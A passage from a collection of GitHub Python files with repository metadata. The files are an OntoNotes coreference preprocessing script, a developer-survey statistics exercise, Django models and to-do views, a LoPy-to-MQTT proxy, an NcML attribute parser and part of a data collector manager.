\"speaker_ids\": output_speaker_ids, \"sentence_map\": output_sentence_map, \"subtoken_map\": output_subtoken_map}\n\n\n def add_sentence_block(self, sentence_block):\n \"\"\" 将句子块的信息加入到Section中\n \"\"\"\n plain_sentence, treebanked_sentence, tree, speaker, leaves = self.parse_sentence_block(sentence_block)\n self.plain_sentence_list.append(plain_sentence)\n self.treebanked_sentence_list.append(treebanked_sentence)\n self.tree_list.append(tree)\n self.speaker_list.append(speaker)\n self.leaves_list.append(leaves)\n\n\n def parse_sentence_block(self, sentence_block):\n \"\"\" 解析句子块\n \"\"\"\n plain_sentence = \"\"\n treebanked_sentence = \"\"\n tree = list()\n speaker = \"\"\n leaves = list()\n \n line_i = 2\n \n if sentence_block[line_i] == self.PLAIN_SENTENCE_MARK:\n plain_sentence, line_i = self.read_piece(sentence_block, line_i)\n if len(plain_sentence) == 0:\n raise Exception(\"Plain sentence 格式有误\")\n plain_sentence = \" \".join(plain_sentence)\n else:\n raise Exception(\"块格式有误\")\n\n if sentence_block[line_i] == self.TREEBANKED_SENTENCE_MARK:\n treebanked_sentence, line_i = self.read_piece(sentence_block, line_i)\n if len(treebanked_sentence) == 0:\n raise Exception(\"Treebanked sentence 格式有误\")\n treebanked_sentence = \" \".join(treebanked_sentence)\n else:\n raise Exception(\"块格式有误\")\n\n if sentence_block[line_i] == self.SPEAKER_MARK:\n speaker, line_i = self.read_piece(sentence_block, line_i)\n if len(speaker) != 3:\n raise Exception(\"Speaker information 格式有误\")\n speaker = speaker[0].split()[-1]\n else:\n pass\n \n if sentence_block[line_i] == self.TREE_MARK:\n tree, line_i = self.read_piece(sentence_block, line_i)\n else:\n raise Exception(\"块格式有误\")\n\n if sentence_block[line_i] == self.LEAVES_MARK:\n leaves, line_i = self.read_piece(sentence_block, line_i)\n else:\n raise Exception(\"块格式有误\")\n\n return plain_sentence, treebanked_sentence, tree, speaker, leaves\n\n\n def add_coref_block(self, coref_block):\n \"\"\" 将指代块的信息加入到Section中\n \"\"\" \n self.coref_chains = self.parse_coref_block(coref_block)\n\n\n def parse_coref_block(self, coref_block):\n \"\"\" 解析指代块\n \"\"\"\n line_i = 4\n coref_chains = list()\n while line_i < len(coref_block) and coref_block[line_i] != \"\":\n cid, corefs, line_i = self.read_coref_chain(coref_block, line_i)\n coref_chains.append(corefs)\n return coref_chains\n\n\n\ndef find_onf_files(root_path):\n # 找到目录下所有 .onf 文件\n onf_files_path = list()\n for fp in root_path.iterdir():\n if fp.is_dir():\n onf_files_path.extend(find_onf_files(fp))\n if fp.suffix == \".onf\":\n onf_files_path.append(fp)\n return onf_files_path\n\n\n\nif __name__ == \"__main__\":\n\n import tqdm\n\n c = config.best_config\n tokenizer = AutoTokenizer.from_pretrained(c[\"transformer_model_name\"], do_lower_case=False)\n ontonotes_root_path = Path(c[\"ontonotes_root_dir\"])\n onf_files_path = find_onf_files(ontonotes_root_path)\n\n train_list_file = \"./data/train_list\"\n val_list_file = \"./data/val_list\"\n test_list_file = \"./data/test_list\"\n\n train_list = list()\n with open(train_list_file, \"r\", encoding=\"utf-8\") as fd:\n for line in fd:\n train_list.append(line.strip())\n \n val_list = list()\n with open(val_list_file, \"r\", encoding=\"utf-8\") as fd:\n for line in fd:\n val_list.append(line.strip())\n\n test_list = list()\n with open(test_list_file, \"r\", encoding=\"utf-8\") as fd:\n for line in fd:\n test_list.append(line.strip())\n\n train_file_fd = open(c[\"train_file_path\"], \"w\", encoding=\"utf-8\")\n val_file_fd = open(c[\"val_file_path\"], \"w\", encoding=\"utf-8\")\n test_file_fd = open(c[\"test_file_path\"], \"w\", encoding=\"utf-8\")\n\n for onf_file_path in tqdm.tqdm(onf_files_path):\n onf = Onf(onf_file_path, c)\n examples = onf.onf_to_examples(tokenizer)\n # examples = onf.onf_to_example(tokenizer)\n examples_json = \"\"\n for example in examples:\n examples_json += json.dumps(example, ensure_ascii=False) + \"\\n\"\n if onf_file_path.name in train_list:\n train_file_fd.write(examples_json)\n elif onf_file_path.name in val_list:\n val_file_fd.write(examples_json)\n elif onf_file_path.name in test_list:\n test_file_fd.write(examples_json)\n else:\n print(\"Warning: %s not in train/test/val list.\" % onf_file_path.name)\n\n train_file_fd.close()\n val_file_fd.close()\n test_file_fd.close()\n\n","repo_name":"cheniison/e2e-coref-pytorch","sub_path":"onf_to_data.py","file_name":"onf_to_data.py","file_ext":"py","file_size_in_byte":17591,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"32"} +{"seq_id":"71164527451","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Jonathan Joel Corona Ortega\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n\n\nw_d = 'C:/Users/Jonathan/Desktop/PracticaMineria/'\ni_f = w_d + 'survey_results_public.csv'\n\ndata = pd.read_csv(i_f, encoding = 'utf-8')\n\n# Encuentra los valores unicos de Gender\n# data['Gender'].unique()\n# data.head()\n#filtered = data['Gender'] == 'Woman'\n#data[filtered][['Country', 'ConvertedComp']]\n\n\n\"\"\" Funciones Generales\"\"\"\n# Devuelve True si encuentra el género, o un false si no lo encuentra\ndef contain_option(value, option):\n return value.find(option) != -1\n\n#Devuelve una lista con los datos de una columna filtrados, sin repetir\ndef unique_values(data, col):\n f_data = data[data[col].notnull()]\n uniques = list(f_data[col].unique())\n return list(set(';'.join(uniques).split(';')))\n\ndef notnull_filter(data, *cols):\n # filter_not_nulls(df, 'Age', 'Gender', 'Country')\n f = data[cols[0]].notnull()\n # df['Age'].notnull()\n for col in cols[1:]:\n f = f & data[col].notnull()\n return data[f]\n\n\ndef annual_salary(col, col_2, dato):\n #col = 'Gender'\n #col_2 = 'ConvertedComp'\n keys = unique_values(data, col)\n f_data = data[data[col].notnull() & data[col_2].notnull()]\n values = []\n \n for unique in keys:\n # (filtered_data[f]['Gender'] == 'Woman;Man') \n # Detecta los valores existentes/no faltantes\n # filtered_data = data[data['Gender'].notnull()]\n \n #print(unique)\n f = f_data[col].apply(contain_option, args = (unique,))\n values.append(f_data[f])\n \n val_col = {k:v for k, v in zip(keys, values)}\n \n five_summary(val_col, dato, col_2)\n mean_and_std(val_col, dato, col_2)\n boxplot_d(val_col, dato, col_2)\n # boxplot_d2(data, col_2, col)\n \n \ndef med_mean_std(col, col_2, dato):\n #col = 'LanguageWorkedWith'\n #col_2 = 'Age'\n keys = unique_values(data, col)\n f_data = data[data[col].notnull() & data[col_2].notnull()]\n values = []\n \n for unique in keys:\n \n #print(unique)\n f = f_data[col].apply(contain_option, args = (unique,))\n values.append(f_data[f])\n \n val_col = {k:v for k, v in zip(keys, values)}\n \n print('Median: ', val_col[dato][col_2].quantile(.50))\n mean_and_std(val_col, dato, col_2)\n\n\ndef five_summary(val_col, dato, col_2):\n print('Min: ', val_col[dato][col_2].min())\n print('Max: ', val_col[dato][col_2].max())\n print('1st quartile: ', val_col[dato][col_2].quantile(.25))\n print('Median: ', val_col[dato][col_2].quantile(.50))\n print('3rd quartile: ', val_col[dato][col_2].quantile(.75))\n \n\ndef mean_and_std(val_col, dato, col_2):\n print('Mean: ',val_col[dato][col_2].mean())\n print('Standard Desviation:',val_col[dato][col_2].std())\n \n \ndef boxplot_d(val_col, dato, col_2):\n x = val_col[dato][col_2]\n plt.boxplot(x=x, notch=False, sym = '')\n\ndef boxplot_d2(data, column_1, column_2):\n\n new_data = notnull_filter(data, column_2, column_1)\n \n values = unique_values(new_data, column_2) \n num = len(values)\n \n plt.figure(figsize = (6,6))\n for i, value in enumerate(values):\n filter_data = new_data[column_2].apply(contain_option, args = (value,))\n f_data = new_data[filter_data]\n #subplot(nrows, ncols, index, **kwargs)\n plt.subplot(num,3, i+1)\n plt.xlabel(column_1)\n plt.ylabel('Amount')\n plt.title(value[:10])\n plt.boxplot(f_data[column_1], notch=False, sym = '')\n plt.tight_layout()\n \ndef barplot_data(column):\n #column = 'DevType'\n new_data = notnull_filter(data, column)\n col_values = unique_values(data, column)\n\n frequencies= {} #keys = column values , values = Frequencies\n\n for col_value in col_values:\n frequencie = sum(new_data[column].apply(contain_option, args=(col_value,)))\n frequencies[col_value] = frequencie\n \n height = np.arange(len(frequencies))\n plt.figure(figsize = (14,7))\n plt.bar(height = list(frequencies.values()), x = height, color = 'orange')\n plt.xticks(height, frequencies.keys(), rotation = 90)\n \n\ndef histograms_data(data, column_1, column_2, nrows=1, ncols=None, xlabel=None, ylabel=None, filename=None):\n #column_1 = 'YearsCode'\n #column_2 = 'Gender'\n new_data = notnull_filter(data, column_2, column_1)\n #new_data['YearsCode'].unique()\n \n values = unique_values(new_data, column_2) \n if not ncols:\n ncols = len(values)\n if ylabel is None:\n ylabel = \"Amount\"\n if not xlabel:\n xlabel = column_1\n \n plt.figure(figsize = (14,8))\n for i, value in enumerate(values):\n filter_data = new_data[column_2].apply(contain_option, args = (value,))\n f_data = new_data[filter_data]\n #subplot(nrows, ncols, index, **kwargs)\n plt.subplot(nrows,ncols,i+1)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n plt.title(value[:10])\n plt.hist(f_data[column_1], bins = 10, color = 'purple')\n plt.tight_layout()\n plt.show()\n\ndef correlation_pearson(data, column1, column2):\n #column1 = 'YearsCode'\n #column2 = 'Convertedcomp'\n new_data = notnull_filter(data, column2, column1)\n \n x = new_data[column2].to_numpy()\n y = new_data[column1].to_numpy()\n #corr = np.corrcoef(x=x, y=y)\n #print(corr)\n plt.figure(figsize = (9,9), facecolor = 'w')\n plt.scatter(x=x, y=y)\n plt.xlabel(column2)\n plt.ylabel(column1)\n \n \n x_list = list(x)\n y_list = list(y)\n \n media1 = sum(x_list)/len(x_list)\n media2 = sum(y_list)/len(y_list)\n \n aux1 = aux2 = aux3 = 0\n \n for i in range(0, len(x_list)):\n aux1 += (x_list[i] - media1) * (y_list[i] - media2) \n aux2 += (x_list[i] - media1) ** 2 \n aux3 += (y_list[i] - media2) ** 2\n \n res = aux1 / ( (aux2 ** (1/2)) * (aux3 ** (1/2)) )\n \n print('Correlation: ', res)\n \n\n\n\n\n\n \n \n \n\"\"\" Ejercicios \"\"\"\n# 1. Compute the five-number summary, the boxplot, the mean, and the standard deviation for the annual salary per gender.\ndef salary_gender(gender):\n print(gender)\n annual_salary('Gender', 'ConvertedComp', gender)\n print('\\n')\n \n# Metodo 1\n#salary_gender('Man')\n#salary_gender('Woman')\n#salary_gender('Non-binary, genderqueer, or gender non-conforming')\n\n# Método 2\nkeyGender = unique_values(data,'Gender') \nprint('Exercise #1\\n')\nfor i in keyGender:\n salary_gender(i)\n \n \n\n\n# 2. Compute the five-number summary, the boxplot, the mean, and the standard deviation for the annual salary per ethnicity.\ndef salary_ethnicity(ethnicity):\n print(ethnicity)\n annual_salary('Ethnicity', 'ConvertedComp', ethnicity)\n print('\\n')\n \nprint('Exercise #2\\n')\n# Metodo 1\n#salary_ethnicity('White or of European descent')\n#salary_ethnicity('Middle Eastern')\n#salary_ethnicity('Biracial')\n#salary_ethnicity('Black or of African descent')\n#salary_ethnicity('Multiracial')\n#salary_ethnicity('White or of European descent')\n#salary_ethnicity('Hispanic or Latino/Latina')\n#salary_ethnicity('South Asian')\n#salary_ethnicity('East Asian')\n\n# Método 2\nkeyEthnicity = unique_values(data,'Ethnicity') \nprint('Exercise #2\\n')\nfor i in keyEthnicity:\n salary_ethnicity(i)\n\n\n \n# 3. Compute the five-number summary, the boxplot, the mean, and the standard deviation for the annual salary per developer type.\ndef salary_devtype(devtype):\n print(devtype)\n annual_salary('DevType', 'ConvertedComp', devtype)\n print('\\n')\n \n# Método 1 (Pruebas)\n#salary_devtype('Student')\n#salary_devtype('Developer, front-end')\n#salary_devtype('Developer, desktop or enterprise applications')\n#salary_devtype('Developer, mobile')\n#salary_devtype('Developer, back-end')\n#salary_devtype('Database administrator')\n#salary_devtype('Engineer, site reliability')\n#salary_devtype('DevOps specialist')\n#salary_devtype('Data scientist or machine learning specialist')\n#salary_devtype('Product manager')\n#salary_devtype('Senior executive/VP')\n#salary_devtype('Scientist')\n#salary_devtype('Developer, full-stack')\n#salary_devtype('System administrator')\n#salary_devtype('Developer, game or graphics')\n#salary_devtype('Developer, embedded applications or devices')\n#salary_devtype('Engineering manager')\n#salary_devtype('Engineer, data')\n#salary_devtype('Academic researcher')\n#salary_devtype('Data or business analyst')\n#salary_devtype('Marketing or sales professional')\n#salary_devtype('Educator')\n#salary_devtype('Designer')\n#salary_devtype('Developer, QA or test')\n\n \n# Método 2\nkeyDev = unique_values(data,'DevType') \nprint('Exercise #3\\n')\nfor i in keyDev:\n salary_devtype(i)\n \n# 4. Compute the median, mean and standard deviation of the annual salary per country.\ndef salary_country(country):\n print(country)\n med_mean_std('Country', 'ConvertedComp', country)\n print('\\n')\n \nkeyCountry = unique_values(data,'Country') \nprint('Exercise #4\\n')\nfor i in keyCountry:\n salary_country(i)\n \n\n# 5. Obtain a bar plot with the frequencies of responses for each developer type.\ndef barplot_devtype():\n column = 'DevType'\n barplot_data(column)\nbarplot_devtype()\n\n# 6. Plot histograms with 10 bins for the years of experience with coding per gender. \ndef hist_exp_gender():\n data['YearsCode'].replace('Less than 1 year', '0.5', inplace=True)\n data['YearsCode'].replace('More than 50 years', '51', inplace=True)\n data['YearsCode'] = data['YearsCode'].astype('float64')\n #data.dtypes\n histograms_data(data, 'YearsCode', 'Gender', xlabel='Experience', ylabel='', nrows=4, ncols=6)\nhist_exp_gender()\n \n \n \n# 7. Plot histograms with 10 bins for the average number of working hours per week, per developer type. \ndef hist_hours_devtype():\n new_data = notnull_filter(data, 'WorkWeekHrs', 'DevType')\n f_data = (new_data['WorkWeekHrs'] > 30 ) & (new_data['WorkWeekHrs'] <80 )\n new_data = new_data[f_data]\n histograms_data(new_data, 'WorkWeekHrs', 'DevType', xlabel='Hours', ylabel='', nrows=4, ncols=6)\nhist_hours_devtype() \n \n \n# 8. Plot histograms with 10 bins for the age per gender.\ndef hist_age_gender():\n new_data = notnull_filter(data, 'Age', 'Gender')\n f_data = (new_data['Age'] > 8 ) & (new_data['Age'] <80 )\n new_data = new_data[f_data]\n \n histograms_data(new_data, 'Age', 'Gender', xlabel='Edad', ylabel='', nrows=4, ncols=6)\nhist_age_gender() \n \n \n\n# 9. Compute the median, mean and standard deviation of the age per programming language.\ndef age_proglenguage(progleng):\n print(progleng)\n med_mean_std('LanguageWorkedWith', 'Age', progleng)\n print('\\n')\n \nkeyLenguage = unique_values(data,'LanguageWorkedWith') \nprint('Exercise #9\\n')\nfor i in keyLenguage:\n age_proglenguage(i)\n \n \n\n# 10. Compute the correlation between years of experience and annual salary.\ndef corr_exp_salary():\n data['YearsCode'].replace('Less than 1 year', '0.5', inplace=True)\n data['YearsCode'].replace('More than 50 years', '51', inplace=True)\n data['YearsCode'] = data['YearsCode'].astype('float64')\n correlation_pearson(data, 'YearsCode', 'ConvertedComp') \ncorr_exp_salary()\n\n \n \n# 11. Compute the correlation between the age and the annual salary.\ndef corr_age_salary():\n correlation_pearson(data, 'Age', 'ConvertedComp')\ncorr_age_salary()\n\n\n# 12. Compute the correlation between educational level and annual salary. In this case, replace the string of the educational level by an ordinal index (e.g. Primary/elementary school = 1, Secondary school = 2, and so on).\n\nedlevels = { \n 'I never completed any formal education' : 0,\n 'Primary/elementary school' : 1,\n 'Secondary school (e.g. American high school, German Realschule or Gymnasium, etc.)' : 2,\n 'Associate degree' : 3,\n 'Professional degree (JD, MD, etc.)' : 4,\n 'Bachelor’s degree (BA, BS, B.Eng., etc.)' : 5,\n 'Some college/university study without earning a degree' : 6,\n 'Other doctoral degree (Ph.D, Ed.D., etc.)' : 7,\n 'Master’s degree (MA, MS, M.Eng., MBA, etc.)': 8,\n }\n\ndef edLevel(item):\n return edlevels[item]\n\n\ndef correlation_edlevel_salary():\n new_data = notnull_filter(data, 'EdLevel', 'ConvertedComp')\n x = new_data['EdLevel'].apply(edLevel)\n y = new_data['ConvertedComp'].to_numpy()\n #corr = np.corrcoef(x=x, y=y)\n #print(corr)\n plt.figure(figsize = (9,9), facecolor = 'w')\n plt.scatter(x=x, y=y, color = 'g')\n plt.xlabel('EdLevel')\n plt.ylabel('ConvertedComp')\n \n \n x_list = list(x)\n y_list = list(y)\n \n media1 = sum(x_list)/len(x_list)\n media2 = sum(y_list)/len(y_list)\n \n aux1 = aux2 = aux3 = 0\n \n for i in range(0, len(x_list)):\n aux1 += (x_list[i] - media1) * (y_list[i] - media2) \n aux2 += (x_list[i] - media1) ** 2 \n aux3 += (y_list[i] - media2) ** 2\n \n res = aux1 / ( (aux2 ** (1/2)) * (aux3 ** (1/2)) )\n \n print('Correlation: ', res)\ncorrelation_edlevel_salary()\n\n# 13. Obtain a bar plot with the frequencies of the different programming languages.\ndef barplot_proglenguage():\n column = 'LanguageWorkedWith'\n barplot_data(column)\nbarplot_proglenguage()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"JohnOrt31/DM_PracticeInter","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":13252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38921855389","text":"from django.db import models\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom Client.models import Client\nfrom Lawyer.models import Lawyer\n\n\nclass Rating(models.Model):\n\trate = models.IntegerField(\n\t\tdefault=5,\n\t\tvalidators=[MaxValueValidator(5), MinValueValidator(1)]\n\t\t)\n\tlawyerid = models.ForeignKey(Lawyer, on_delete=models.DO_NOTHING)\n\tclientid = models.ForeignKey(Client, on_delete=models.DO_NOTHING)\n\ttitle = models.CharField(max_length=100, null=True)\n\tdescription = models.CharField(max_length=300, null=True)\n\tisHired = models.BooleanField(default=True)\n\tisRecomended = models.BooleanField(default=True)\n\temail = models.CharField(max_length=100, null=True)\n\n\tclass Meta:\n\t\tunique_together = ('lawyerid', 'clientid',)\n\n\tdef __str__(self):\n\t\treturn self.lawyerid.user.username + ' ' + self.clientid.user.username","repo_name":"abdul-rahman09/django-angular","sub_path":"server/Rating/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20019368140","text":"import socket\nimport json\nimport re\n\nimport paho.mqtt.client as mqtt\n\nTHE_BROKER = \"test.mosquitto.org\"\n\nTCP_IP = '192.168.4.1'\nTCP_PORT = 80\nWIFI_SSID = \"messenger_e89\"\n\nBUFFER_SIZE = 1024 # Normally 1024\n\ndef send_it(m):\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.connect((TCP_IP, TCP_PORT))\n\ts.send(m)\n\t# simply discarding the response... for the moment\n\tdl = []\n\twhile 1:\n\t\td = s.recv(BUFFER_SIZE)\n\t\tdl.append(d)\n\t\tif not d: break\n\ts.close()\n\tdd = b''.join(dl)\n\tr = dd.decode()\n\tresponse = r.split('\\n')[0]\n\tif response == \"HTTP/1.1 200 OK\":\n\t print(\"Got: \"+response)\n\telse:\n\t print(\"ERROR Got: \"+response)\n\n\treturn(r)\n\n\n# The callback for when the client receives a CONNACK response from the server.\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected to \", client._host, \"port: \", client._port)\n print(\"Flags: \", flags, \"returned code: \", rc)\n\n# The callback for when a message is published.\ndef on_publish(client, userdata, mid):\n print(\"sipub: msg published (mid={})\".format(mid))\n\nclient = mqtt.Client(client_id=\"\", \n clean_session=True, \n userdata=None, \n protocol=mqtt.MQTTv311, \n transport=\"tcp\")\n\nclient.on_connect = on_connect\nclient.on_publish = on_publish\n\n#client.username_pw_set(None, password=None)\nclient.connect(THE_BROKER, port=1883, keepalive=60)\n\nrest_msg = 'POST /mqttproxypop HTTP/1.1\\r\\n'\nrest_msg += 'Host: 192.168.4.1\\r\\n'\nrest_msg += 'User-Agent: LoPy\\r\\n'\nrest_msg += 'Content-Length: 13\\r\\n'\nrest_msg += '\\r\\n'\nrest_msg += 'Popping data\\n'\npop = send_it(rest_msg)\n\n# Extracting json of the sensor data\nb = re.search(\".*?\\{(.*)\\}.*\",pop)\nbd = '{' + b.group(1) + '}'\n\njinp = json.loads(bd)\n\nprint(jinp[\"TOPIC\"]+ \" with value \", jinp[\"VALUE\"])\n\n# \td = {\"DEV_ID\": DEV_ID, \"QOS\": QOS, \"TOPIC\": TOPIC, \"VALUE\": v}\n\nclient.loop_start()\nclient.publish(jinp[\"TOPIC\"], payload=jinp[\"VALUE\"], qos=jinp[\"QOS\"], retain=False)\nclient.loop_stop()\n","repo_name":"Kiyoshy/Msnlora-Lopy","sub_path":"mqttproxy/mqttproxy.py","file_name":"mqttproxy.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"17728251917","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nfrom .models import ToDoList, Item\nfrom .forms import CreateNewList\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.auth.decorators import login_required\nimport os\n\n# Create your views here.\n\n\ndef index(response, id):\n ls = ToDoList.objects.get(id=id)\n\n if response.user.todolist.all():\n\n if response.method == 'POST':\n if response.POST.get(\"save\"):\n for item in ls.item_set.all():\n if response.POST.get(\"c\" + str(item.id)) == \"clicked\":\n item.complete = True\n else:\n item.complete = False\n\n item.save()\n\n elif response.POST.get(\"newItem\"):\n txt = response.POST.get(\"new\")\n if len(txt) > 2:\n ls.item_set.create(text=txt, complete=False)\n else:\n print(\"Invalid input\")\n\n return render(response, \"main/list.html\", {\"ls\":ls})\n return render(response, \"main/view.html\", {})\n\n\n@login_required\ndef home(request):\n num_lists = ToDoList.objects.filter(user=request.user).count()\n\n items_per_list = []\n for todolist in ToDoList.objects.filter(user=request.user):\n num_items = Item.objects.filter(todolist=todolist).count()\n items_per_list.append({\"todolist\": todolist, \"num_items\": num_items})\n\n return render(request, \"main/home.html\", {\"num_lists\": num_lists, \"items_per_list\": items_per_list})\n\n\ndef create(response):\n if response.method == \"POST\":\n form = CreateNewList(response.POST)\n\n if form.is_valid():\n n = form.cleaned_data[\"name\"]\n t = ToDoList(name=n)\n t.save()\n response.user.todolist.add(t)\n return HttpResponseRedirect(\"/%i\" %t.id)\n else:\n form = CreateNewList()\n return render(response, \"main/create.html\", {\"form\":form})\n\ndef view(response):\n return render(response, \"main/view.html\", {})\n\n@require_POST\ndef delete(request, id):\n ls = ToDoList.objects.get(id=id)\n ls.delete()\n return redirect(\"/view\")\n\ndef createSuperUser(request):\n admin = os.system(\"python manage.py createsuperuser\")\n return","repo_name":"Ujstor/todo-list-app-django","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"73189427610","text":"import lxml.etree\nimport requests\n\n\ndef nc_attrs_from_ncml(url):\n \"\"\"Extract attributes from NcML file.\n\n Parameters\n ----------\n url : str\n Link to NcML service of THREDDS server for a dataset.\n\n Returns\n -------\n dict\n Global attribute values keyed by facet names, with variable attributes in `__variable__` nested dict, and\n additional specialized attributes in `__group__` nested dict.\n \"\"\"\n parser = lxml.etree.XMLParser(encoding=\"UTF-8\")\n\n ns = {\"ncml\": \"http://www.unidata.ucar.edu/namespaces/netcdf/ncml-2.2\"}\n\n # Parse XML content - UTF-8 encoded documents need to be read as bytes\n xml = requests.get(url).content\n doc = lxml.etree.fromstring(xml, parser=parser)\n nc = doc.xpath(\"/ncml:netcdf\", namespaces=ns)[0]\n\n # Extract global attributes\n out = _attrib_to_dict(nc.xpath(\"ncml:attribute\", namespaces=ns))\n\n # Extract group attributes\n gr = {}\n for group in nc.xpath(\"ncml:group\", namespaces=ns):\n gr[group.attrib[\"name\"]] = _attrib_to_dict(group.xpath(\"ncml:attribute\", namespaces=ns))\n\n # Extract variable attributes\n va = {}\n for variable in nc.xpath(\"ncml:variable\", namespaces=ns):\n if \"_CoordinateAxisType\" in variable.xpath(\"ncml:attribute/@name\", namespaces=ns):\n continue\n va[variable.attrib[\"name\"]] = _attrib_to_dict(variable.xpath(\"ncml:attribute\", namespaces=ns))\n\n out[\"__group__\"] = gr\n out[\"__variable__\"] = va\n\n return out\n\n\ndef _attrib_to_dict(elems):\n \"\"\"Convert element attributes to dictionary.\n\n Ignore attributes with names starting with _\n \"\"\"\n hidden_prefix = \"_\"\n out = {}\n for e in elems:\n a = e.attrib\n if a[\"name\"].startswith(hidden_prefix):\n continue\n out[a[\"name\"]] = a[\"value\"]\n return out\n","repo_name":"crim-ca/stac-populator","sub_path":"STACpopulator/metadata_parsers.py","file_name":"metadata_parsers.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41015703063","text":"\"\"\"Collector service for polling data sources and persisting new data to a DTSS server.\n\"\"\"\n\nfrom typing import Any, Deque, Dict, List, Optional, Union\n\nimport logging\nfrom collections import deque, namedtuple\nfrom copy import copy\nfrom enum import Enum\nfrom queue import Queue\nfrom threading import Event, Thread\nfrom time import sleep\n\n\nfrom ap.harvester.finn_activity import FinnActivity\n\nCollectorTuple = namedtuple('CollectorTuple', ['collector', 'thread', 'activity', 'args'])\n\n\nclass CollectorError(RuntimeError):\n \"\"\"Error raised by the collector service.\"\"\"\n pass\n\n\nclass Collectors(Enum):\n \"\"\"Enumeration of known collector instances.\"\"\"\n FINN_REALESTATE = FinnActivity\n\nclass CollectorManager:\n \"\"\"Manager for controlling collector activities.\n Args:\n collectors: Dictionary of collectors to start together with the arguments needed\n to start each collector. The argument dictionaries are copied as arguments may\n be added by the manager.\n The arguments below will be automatically added using the defaults passed\n to CollectorManager:\n * ``wait_first``: Wait before first execution of the activity.\n * ``wakeup_freq``: Frequency between collector activity wakeups.\n While the arguments below will be ignored if added:\n * ``exit_event``: Event used to signal the collector activity to exit.\n * ``logger``: Collector activity parent logger instance.\n The collector activities are initialized in kwargs style using the appropriate\n value dictionary. If a collector doesn't take arguments, use an empty dictionary.\n monitor_poll_freq: Frequency in seconds or fractions thereof for the monitor to perform\n its activities.\n default_wait_first: Whether to wait before the first call to action.\n default_wakeup_freq: Frequency in seconds (or fractions thereof) to wakeup activities\n during long wait phases. Pass None to disable.\n logger: Logger instance. The manager creates a new child logger named after\n the class. When None, the manager creates a new logger named after the class.\n \"\"\"\n def __init__(self, *,\n collectors: Dict[Collectors, Dict[str, Any]],\n monitor_poll_freq: float,\n default_wait_first: bool,\n default_wakeup_freq: Union[float, None],\n logger: Union[logging.Logger, None]) -> None:\n\n # collectors to start with arguments\n # - only copy arguments\n self._collector_args = {}\n for c in collectors:\n local_args = self._collector_args[c] = copy(collectors[c])\n # add if missing\n if 'wait_first' not in local_args:\n local_args['wait_first'] = default_wait_first\n if 'wakeup_freq' not in local_args:\n local_args['wakeup_freq'] = default_wakeup_freq\n # remove if present\n if 'exit_event' in local_args:\n del local_args['exit_event']\n if 'logger' in local_args:\n del local_args['logger']\n\n # logging\n if logger is None:\n self._logger = logging.getLogger(CollectorManager.__name__)\n else:\n self._logger = logger.getChild(CollectorManager.__name__)\n\n # manager and monitor state\n self._exit_event = Event()\n self._monitor_poll_freq = monitor_poll_freq\n self._monitor = None\n self._monitor_thread = None\n\n def get_logger(self) -> logging.Logger:\n \"\"\"Return the logger used by the manager.\"\"\"\n return self._logger\n\n def start(self) -> None:\n \"\"\"Start all activities.\n Raises:\n CollectorError: If the any activities managed by self are already running.\n \"\"\"\n if self.is_running():\n raise CollectorError('Collector already running')\n elif len(self._collector_args) == 0:\n raise CollectorError('No collectors to start')\n\n # cleanup\n self._exit_event.clear()\n\n # start monitor\n self._monitor = CollectorMonitor(\n poll_freq=self._monitor_poll_freq,\n exit_event=self._exit_event, logger=self._logger,\n )\n self._monitor_thread = Thread(name=f'{CollectorMonitor.__name__}', target=self._monitor, daemon=True)\n self._monitor_thread.start()\n\n # start all currently registered collectors\n for collector, args in self._collector_args.items():\n self._monitor.add_collector(collector=collector, args=args)\n\n def is_running(self, *, collector: Optional[Collectors] = None) -> bool:\n \"\"\"Query if either the manager or specific collector activities are running.\n Args:\n collector: Optional collector to check for. If None check if the manager is\n running. Defaults to None.\n \"\"\"\n if collector is not None:\n return self._monitor is not None and self._monitor.is_collector_running(collector)\n return self._monitor_thread is not None and self._monitor_thread.is_alive()\n\n def block_on_monitor(self, *, timeout: float = None) -> None:\n \"\"\"Block execution until the CollectorMonitor monitoring the collector activities exits.\n Args:\n timeout: Timeout in seconds or fractions thereof before returning. There is no\n exception or other error if the timeout happened, to determine what caused\n the method to return you should call is_running() without arguments to\n determine if the monitor is still running.\n Raises:\n CollectorError: If the manager have not been started or have exited.\n \"\"\"\n if not self.is_running():\n raise CollectorError('Not running')\n\n self._monitor_thread.join(timeout=timeout)\n\n def exit(self, *, collector: Optional[Collectors]=None) -> None:\n \"\"\"Signal the manager or specific collector to exit, then return.\n This method is non-blocking. If you wish to wait for the background\n threads to exit follow with a call to block_on_monitor().\n Args:\n collector: Optional collector managed by this manager to exit.\n If this argument is not None only the specified collector will\n exit instead of all. The default value is None.\n Raises:\n CollectorError: If no collector activities are running.\n \"\"\"\n if not self.is_running(collector=collector):\n raise CollectorError('Not running')\n\n if collector is None:\n self._exit_event.set()\n else:\n self._monitor.drop_collector(collector=collector)\n\n\nclass CollectorMonitor:\n \"\"\"Monitor for supervising collector activities.\n The monitor regularly polls all threads registered with it, and recreate and restart them\n if necessary. If managed threads error out the error and traceback is logged to\n the provided logger.\n Note:\n The external interface for modifying the monitor is _NOT_ necessarily thread-safe.\n Only one thread should use the methods add_collector(), drop_collector(),\n 